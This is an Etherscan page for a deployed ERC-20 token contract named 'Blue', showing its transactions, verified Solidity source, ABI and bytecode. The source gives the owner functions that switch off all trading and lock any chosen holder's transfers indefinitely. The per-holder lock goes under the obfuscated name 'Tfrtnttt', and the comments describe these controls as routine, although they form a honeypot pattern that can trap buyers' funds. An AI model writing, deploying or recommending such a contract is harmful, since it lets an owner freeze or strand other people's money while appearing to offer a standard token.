ETH Price: $3,416.23 (-3.07%)
Gas: 8 Gwei

Contract

0xA1C8aB2a56080C49Cde1e97F599273b534e1B264
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve187031722023-12-03 3:24:11198 days ago1701573851IN
0xA1C8aB2a...534e1B264
0 ETH0.001391629.54770085
Approve187008872023-12-02 19:43:59198 days ago1701546239IN
0xA1C8aB2a...534e1B264
0 ETH0.0021687946.0495893
Approve186985942023-12-02 12:02:59198 days ago1701518579IN
0xA1C8aB2a...534e1B264
0 ETH0.0013104527.78912802
Approve186983572023-12-02 11:15:23199 days ago1701515723IN
0xA1C8aB2a...534e1B264
0 ETH0.0012144725.76049199
Approve186983182023-12-02 11:07:35199 days ago1701515255IN
0xA1C8aB2a...534e1B264
0 ETH0.0012050525.75064291
Set Trading Enab...186978452023-12-02 9:32:47199 days ago1701509567IN
0xA1C8aB2a...534e1B264
0 ETH0.0022010747.77987484
Set Trading Enab...186973872023-12-02 8:00:47199 days ago1701504047IN
0xA1C8aB2a...534e1B264
0 ETH0.000956539.5984646
Approve186973112023-12-02 7:45:35199 days ago1701503135IN
0xA1C8aB2a...534e1B264
0 ETH0.0014882231.55900229
0x60806040186965062023-12-02 5:03:35199 days ago1701493415IN
 Create: Blue
0 ETH0.0494154226.68966011

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Blue

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-12-02
*/

pragma solidity ^0.8.5;

// Interface for ERC20 Token Standard, which defines the essential functions and events.
interface IERC20 {
    function totalSupply() external view returns (uint256); // Returns the total token supply.
    function balanceOf(address account) external view returns (uint256); // Returns the account balance of another account with address `account`.
    function transfer(address recipient, uint256 amount) external returns (bool); // Transfers `amount` tokens to `recipient`, returns true on success.
    function allowance(address owner, address spender) external view returns (uint256); // Returns the amount of tokens that `spender` is still allowed to withdraw from `owner`.
    function approve(address spender, uint256 amount) external returns (bool); // Allows `spender` to withdraw from your account multiple times, up to the `amount`. If this function is called again it overwrites the current allowance with `amount`.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // Transfers `amount` tokens from `sender` to `recipient`.
    event Transfer(address indexed from, address indexed to, uint256 value); // Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
    event Approval(address indexed owner, address indexed spender, uint256 value); // Emitted when the allowance of a `spender` for an `owner` is set by a call to `approve`. `value` is the new allowance.
}

// Provides basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender); // Returns the sender of the message (current call).
    }
}

// Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions.
contract Ownable is Context {
    address private _owner; // Variable to store the owner's address.

    // Event to indicate ownership transfer, `previousOwner` is the address of the previous owner, `newOwner` is the address of the new owner.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    // Constructor sets the original `owner` of the contract to the sender account.
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Function to view the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to check if the caller is the owner of the contract.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Function to relinquish control of the contract. It leaves the contract without an owner, thereby removing any functionality that is only available to the owner.
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Function to transfer ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

// Contract for a custom ERC20 token with additional functionalities like trading control and transfer Tfrtnttts.
contract Blue is Context, IERC20, Ownable {
    // Mapping to store the balances of each account.
    mapping (address => uint256) private _balances;

    // Mapping to store the allowances given to third parties to spend tokens on behalf of the token holder.
    mapping (address => mapping (address => uint256)) private _allowances;

    // Mapping to store transfer Tfrtnttts (e.g., time-based Tfrtnttts).
    mapping (address => uint256) private _transferTfrtnttts;

    // Flag to control if trading is enabled or disabled.
    bool private _tradingEnabled = true;

    // Token attributes.
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Constructor to set initial values for name, symbol, decimals, and total supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** uint256(decimals_));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Function to enable or disable trading. Can only be called by the owner.
    function setTradingEnabled(bool enabled) public onlyOwner {
        _tradingEnabled = enabled;
    }

    // Function to check if trading is enabled.
    function isTradingEnabled() public view returns (bool) {
        return _tradingEnabled;
    }

    // Function to set transfer Tfrtnttt for a specific account. Can only be called by the owner.
    function setTransferTfrtnttt(address account, uint256 time) public onlyOwner {
        require(account != address(0), "Cannot set Tfrtnttt for the zero address");
        _transferTfrtnttts[account] = time;
    }

    // Function to remove transfer Tfrtnttt for a specific account. Can only be called by the owner.
    function removeTransferTfrtnttt(address account) public onlyOwner {
        require(account != address(0), "Cannot remove Tfrtnttt for the zero address");
        delete _transferTfrtnttts[account];
    }

    // Function to view the transfer Tfrtnttt time for a specific account.
    function getTfrtntttTime(address account) public view returns (uint256) {
        require(account != address(0), "Cannot query Tfrtnttt time for the zero address");
        return _transferTfrtnttts[account];
    }

    // ERC20 standard functions.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Customized transfer function which also checks for trading enabled and transfer Tfrtnttts.
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_balances[_msgSender()] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferTfrtnttts[_msgSender()], "Transfer is currently restricted for this address");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // ERC20 standard functions for allowance and approval.
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Customized transferFrom function which also checks for trading enabled and transfer Tfrtnttts.
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        require(_tradingEnabled, "Trading is currently disabled");
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        require(_balances[sender] >= amount, "Transfer amount exceeds balance");
        require(block.timestamp >= _transferTfrtnttts[sender], "Transfer is currently restricted for this address");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getTfrtntttTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeTransferTfrtnttt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setTradingEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"setTransferTfrtnttt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526001600460006101000a81548160ff0219169083151502179055503480156200002c57600080fd5b50604051620025c2380380620025c28339818101604052810190620000529190620003b0565b6000620000646200024c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600590805190602001906200011a92919062000254565b5082600690805190602001906200013392919062000254565b5081600760006101000a81548160ff021916908360ff1602179055508160ff16600a62000161919062000548565b816200016e919062000685565b600881905550600854600160006200018b6200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001d96200024c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200023a919062000471565b60405180910390a35050505062000892565b600033905090565b828054620002629062000733565b90600052602060002090601f016020900481019282620002865760008555620002d2565b82601f10620002a157805160ff1916838001178555620002d2565b82800160010185558215620002d2579182015b82811115620002d1578251825591602001919060010190620002b4565b5b509050620002e19190620002e5565b5090565b5b8082111562000300576000816000905550600101620002e6565b5090565b60006200031b6200031584620004b7565b6200048e565b9050828152602081018484840111156200033a576200033962000831565b5b62000347848285620006fd565b509392505050565b600082601f8301126200036757620003666200082c565b5b81516200037984826020860162000304565b91505092915050565b60008151905062000393816200085e565b92915050565b600081519050620003aa8162000878565b92915050565b60008060008060808587031215620003cd57620003cc6200083b565b5b600085015167ffffffffffffffff811115620003ee57620003ed62000836565b5b620003fc878288016200034f565b945050602085015167ffffffffffffffff81111562000420576200041f62000836565b5b6200042e878288016200034f565b9350506040620004418782880162000399565b9250506060620004548782880162000382565b91505092959194509250565b6200046b81620006e6565b82525050565b600060208201905062000488600083018462000460565b92915050565b60006200049a620004ad565b9050620004a8828262000769565b919050565b6000604051905090565b600067ffffffffffffffff821115620004d557620004d4620007fd565b5b620004e08262000840565b9050602081019050919050565b6000808291508390505b60018511156200053f578086048111156200051757620005166200079f565b5b6001851615620005275780820291505b8081029050620005378562000851565b9450620004f7565b94509492505050565b60006200055582620006e6565b91506200056283620006e6565b9250620005917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000599565b905092915050565b600082620005ab57600190506200067e565b81620005bb57600090506200067e565b8160018114620005d45760028114620005df5762000615565b60019150506200067e565b60ff841115620005f457620005f36200079f565b5b8360020a9150848211156200060e576200060d6200079f565b5b506200067e565b5060208310610133831016604e8410600b84101617156200064f5782820a9050838111156200064957620006486200079f565b5b6200067e565b6200065e8484846001620004ed565b925090508184048111156200067857620006776200079f565b5b81810290505b9392505050565b60006200069282620006e6565b91506200069f83620006e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006db57620006da6200079f565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b838110156200071d57808201518184015260208101905062000700565b838111156200072d576000848401525b50505050565b600060028204905060018216806200074c57607f821691505b60208210811415620007635762000762620007ce565b5b50919050565b620007748262000840565b810181811067ffffffffffffffff82111715620007965762000795620007fd565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6200086981620006e6565b81146200087557600080fd5b50565b6200088381620006f0565b81146200088f57600080fd5b50565b611d2080620008a26000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063b88dde6f11610071578063b88dde6f146102aa578063c2e5ec04146102c6578063d99ca612146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b80638da5cb5b1461022257806395d89b4114610240578063991330ce1461025e578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116e9565b60405180910390f35b610136610375565b6040516101439190611704565b60405180910390f35b610166600480360381019061016191906114b1565b610407565b60405161017391906116e9565b60405180910390f35b610184610507565b6040516101919190611846565b60405180910390f35b6101b460048036038101906101af919061145e565b610511565b6040516101c191906116e9565b60405180910390f35b6101d26108e2565b6040516101df9190611861565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611846565b60405180910390f35b610220610942565b005b61022a610a7c565b60405161023791906116ce565b60405180910390f35b610248610aa5565b6040516102559190611704565b60405180910390f35b610278600480360381019061027391906113f1565b610b37565b005b610294600480360381019061028f91906114b1565b610c69565b6040516102a191906116e9565b60405180910390f35b6102c460048036038101906102bf91906114b1565b610ef5565b005b6102e060048036038101906102db91906114f1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b6040516103099190611846565b60405180910390f35b61032c6004803603810190610327919061141e565b61117a565b6040516103399190611846565b60405180910390f35b61035c600480360381019061035791906113f1565b611201565b005b6000600460009054906101000a900460ff16905090565b606060058054610384906119aa565b80601f01602080910402602001604051908101604052809291908181526020018280546103b0906119aa565b80156103fd5780601f106103d2576101008083540402835291602001916103fd565b820191906000526020600020905b8154815290600101906020018083116103e057829003601f168201915b5050505050905090565b600081600260006104166113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166104b06113aa565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104f59190611846565b60405180910390a36001905092915050565b6000600854905090565b6000600460009054906101000a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611806565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611746565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a190611786565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611766565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d19190611898565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108226113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461086b91906118ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cf9190611846565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094a6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610968610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ab4906119aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae0906119aa565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b610b3f6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a906117e6565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600460009054906101000a900460ff16610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611806565b60405180910390fd5b8160016000610cc76113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90611786565b60405180910390fd5b60036000610d4f6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390611766565b60405180910390fd5b8160016000610dd96113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2291906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e789190611898565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e9e6113aa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee39190611846565b60405180910390a36001905092915050565b610efd6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f68906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd8906117c6565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6110316113aa565b73ffffffffffffffffffffffffffffffffffffffff1661104f610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c906117a6565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90611826565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112096113aa565b73ffffffffffffffffffffffffffffffffffffffff16611227610a7c565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490611726565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506113c181611ca5565b92915050565b6000813590506113d681611cbc565b92915050565b6000813590506113eb81611cd3565b92915050565b60006020828403121561140757611406611a3a565b5b6000611415848285016113b2565b91505092915050565b6000806040838503121561143557611434611a3a565b5b6000611443858286016113b2565b9250506020611454858286016113b2565b9150509250929050565b60008060006060848603121561147757611476611a3a565b5b6000611485868287016113b2565b9350506020611496868287016113b2565b92505060406114a7868287016113dc565b9150509250925092565b600080604083850312156114c8576114c7611a3a565b5b60006114d6858286016113b2565b92505060206114e7858286016113dc565b9150509250929050565b60006020828403121561150757611506611a3a565b5b6000611515848285016113c7565b91505092915050565b61152781611922565b82525050565b61153681611934565b82525050565b60006115478261187c565b6115518185611887565b9350611561818560208601611977565b61156a81611a3f565b840191505092915050565b6000611582602683611887565b915061158d82611a50565b604082019050919050565b60006115a5602183611887565b91506115b082611a9f565b604082019050919050565b60006115c8603183611887565b91506115d382611aee565b604082019050919050565b60006115eb601f83611887565b91506115f682611b3d565b602082019050919050565b600061160e602083611887565b915061161982611b66565b602082019050919050565b6000611631602883611887565b915061163c82611b8f565b604082019050919050565b6000611654602b83611887565b915061165f82611bde565b604082019050919050565b6000611677601d83611887565b915061168282611c2d565b602082019050919050565b600061169a602f83611887565b91506116a582611c56565b604082019050919050565b6116b981611960565b82525050565b6116c88161196a565b82525050565b60006020820190506116e3600083018461151e565b92915050565b60006020820190506116fe600083018461152d565b92915050565b6000602082019050818103600083015261171e818461153c565b905092915050565b6000602082019050818103600083015261173f81611575565b9050919050565b6000602082019050818103600083015261175f81611598565b9050919050565b6000602082019050818103600083015261177f816115bb565b9050919050565b6000602082019050818103600083015261179f816115de565b9050919050565b600060208201905081810360008301526117bf81611601565b9050919050565b600060208201905081810360008301526117df81611624565b9050919050565b600060208201905081810360008301526117ff81611647565b9050919050565b6000602082019050818103600083015261181f8161166a565b9050919050565b6000602082019050818103600083015261183f8161168d565b9050919050565b600060208201905061185b60008301846116b0565b92915050565b600060208201905061187660008301846116bf565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118a382611960565b91506118ae83611960565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e3576118e26119dc565b5b828201905092915050565b60006118f982611960565b915061190483611960565b925082821015611917576119166119dc565b5b828203905092915050565b600061192d82611940565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561199557808201518184015260208101905061197a565b838111156119a4576000848401525b50505050565b600060028204905060018216806119c257607f821691505b602082108114156119d6576119d5611a0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722069732063757272656e746c79207265737472696374656460008201527f20666f7220746869732061646472657373000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e6e6f742073657420546672746e74747420666f7220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742072656d6f766520546672746e74747420666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b7f43616e6e6f7420717565727920546672746e7474742074696d6520666f72207460008201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b611cae81611922565b8114611cb957600080fd5b50565b611cc581611934565b8114611cd057600080fd5b50565b611cdc81611960565b8114611ce757600080fd5b5056fea2646970667358221220b135452f7cfb8b8874d8a883ef9b3c95b3acad4abe0d65c311812fb86f8685a864736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000d426c75655072696e74436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004426c756500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80638da5cb5b116100a2578063b88dde6f11610071578063b88dde6f146102aa578063c2e5ec04146102c6578063d99ca612146102e2578063dd62ed3e14610312578063f2fde38b146103425761010b565b80638da5cb5b1461022257806395d89b4114610240578063991330ce1461025e578063a9059cbb1461027a5761010b565b806323b872dd116100de57806323b872dd1461019a578063313ce567146101ca57806370a08231146101e8578063715018a6146102185761010b565b8063064a59d01461011057806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c575b600080fd5b61011861035e565b60405161012591906116e9565b60405180910390f35b610136610375565b6040516101439190611704565b60405180910390f35b610166600480360381019061016191906114b1565b610407565b60405161017391906116e9565b60405180910390f35b610184610507565b6040516101919190611846565b60405180910390f35b6101b460048036038101906101af919061145e565b610511565b6040516101c191906116e9565b60405180910390f35b6101d26108e2565b6040516101df9190611861565b60405180910390f35b61020260048036038101906101fd91906113f1565b6108f9565b60405161020f9190611846565b60405180910390f35b610220610942565b005b61022a610a7c565b60405161023791906116ce565b60405180910390f35b610248610aa5565b6040516102559190611704565b60405180910390f35b610278600480360381019061027391906113f1565b610b37565b005b610294600480360381019061028f91906114b1565b610c69565b6040516102a191906116e9565b60405180910390f35b6102c460048036038101906102bf91906114b1565b610ef5565b005b6102e060048036038101906102db91906114f1565b611029565b005b6102fc60048036038101906102f791906113f1565b6110c2565b604051610309